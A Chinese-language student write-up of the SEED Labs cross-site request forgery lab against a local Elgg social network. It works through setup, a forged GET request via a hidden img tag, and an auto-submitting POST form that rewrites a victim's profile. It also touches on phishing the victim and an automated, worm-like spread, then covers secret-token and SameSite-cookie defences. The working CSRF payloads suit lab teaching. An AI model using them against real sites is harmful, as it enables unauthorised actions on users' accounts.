[seed-labs] 跨站请求伪造(CSRF)攻击实验
文章目录
实验目的
- 了解跨站请求伪造(CSRF)攻击。CSRF 攻击涉及一个受害用户、一个受信任的网站和一个恶意网站。受害用户在访问恶意站点时,正在与受信任的网站保持活动会话。
- 恶意网站将可信网站的 HTTP 请求注入到受害者用户会话中,造成损害。
- 通过 CSRF 攻击来攻击一个社交网络应用。
- 跨站请求伪造攻击
- CSRF 对抗措施:秘密令牌(secret token)和同站 cookie(same-site cookie)
- HTTP GET 和 POST 请求
- JavaScript 和 Ajax
实验步骤
环境设置
-
启动容器
-
添加DNS设置
修改
Task 1:观察 HTTP 请求
-
已知用户名,我们尝试传参观察
- 通过提交用户口令可以明显看出这是一个POST传参,虽然没有明确标出,但是返回了相关的输入信息,token值、以及用户名和密码
- 该传参为一个GET传参,有标出,通过点击页面中的powerd by获得,和上面差不多
Task 2:使用 GET 请求的 CSRF 攻击
-
假设我是Samy,我首先登入自己的个人博客,并测试添加朋友API正常
-
接下来一步就是想办法让Alice点击它,我们首先通过抓包查看该功能下的接口,打开工具重新添加
-
现在只需要构造一个url,让Alice尝试访问他即可添加Samy的,那么需要看看自己的addfriend id,打开F12查看源码搜索users找到目标
-
得到id后根据提示我们使用img标签,吸引Alice点击它,其实也可以使用alert或者title(希望弹窗不要吓到她),这里还是使用img吧
<html> <body> <h1>This page forges an HTTP GET request.</h1> <img src="http://www.seed-server.com/action/friends/add?friend=56">witdh="1" height="1" /> </body> </html>
-
把attaker文件夹下的addfriend.html编辑成如上然后cp到攻击网站的主页
-
构造好之后钓鱼Alice即可被动关注我
-
成功
Task 3:使用 POST 请求的 CSRF 攻击
-
首先根据提示编写代码
<html> <body> <h1>This page forges an HTTP POST request.</h1> <script type="text/javascript"> function forge_post(){ var fields; fields = "<input type='hidden' name='name' value='Alice'>"; fields += "<input type='hidden' name='description' value='Samy is my Hero'>"; fields += "<input type='hidden' name='accesslevel[description]' value='2'>"; fields += "<input type='hidden' name='guid' value='56'>"; var p = document.createElement("form"); p.action = "http://www.seed-server.com/action/profile/edit"; p.innerHTML = fields; p.method = "post"; document.body.appendChild(p); p.submit(); } window.onload = function(){forge_post();} </script> </body> </html>
-
命名为edit.html
-
Samy通过邮件钓鱼
-
可以看到已经更改
-
Q1:Boby在像Alice添加好友时,可以通过F12看到http的URL中有参数56,这样即可拿到Alice的用户id
-
Q2:不能攻击成功,因为攻击网页的用户已经指定,所以不可以大范围攻击
- 如果想要攻击可以写一个自动化的脚本,通过字符匹配获得用户的id从而得到自动生成并邮件转发(之前有个加好友的病毒大概是这样的)
Task 4:开启 Elgg 的防御措施
-
-
把这个生成token的函数注释掉吧
-
重复攻击
-
fields += "<input type='hidden' name='description' value='Samy is my 111'>";
-
失败
-
后台生成的的随机值无法绑定前台接口,从而导致攻击失败,在网站看来是请求失效,因此攻击者的页面会被重新加载并伪造POST请求
-
我们需要一个随机值访问当前页面上的接口后,后台才会对该随机值进行校验,我们无法伪造出这个随机值
-
构造的HTML标签产生的合法跨域只能是单项请求,无法通过CSRF直接读取返回的内容
-
关闭标签页后,链接关闭,请求结束
Task 5:测试同站 Cookie 方法
-
登入
-
访问attacker无cookie
-
分别用GET和POST
-
Lax和Normal携带了Cookie
-
只有Normal携带了Cookie。设置了SameSite的属性,Strict,Lax,Normal分别控制了Cookie是否适合当前请求方式,如Get,Post
-
Q1:因为cookie写入的域名和请求的接口域名不一致或者token不一致,导致浏览器判定为跨域,所以不传递cookie,
-
Q2:可以拿对方传递过来的cookie和自己的cookie对比,如果发现不相同则判定为跨域
-
Q3:使用same-site属性为strick,完全禁止第三方cookie,跨站点是,任何情况下都不会发送cookie,换言之,只有当前网页的url与请求目标一致才会带上cookie。较为放松的是Lax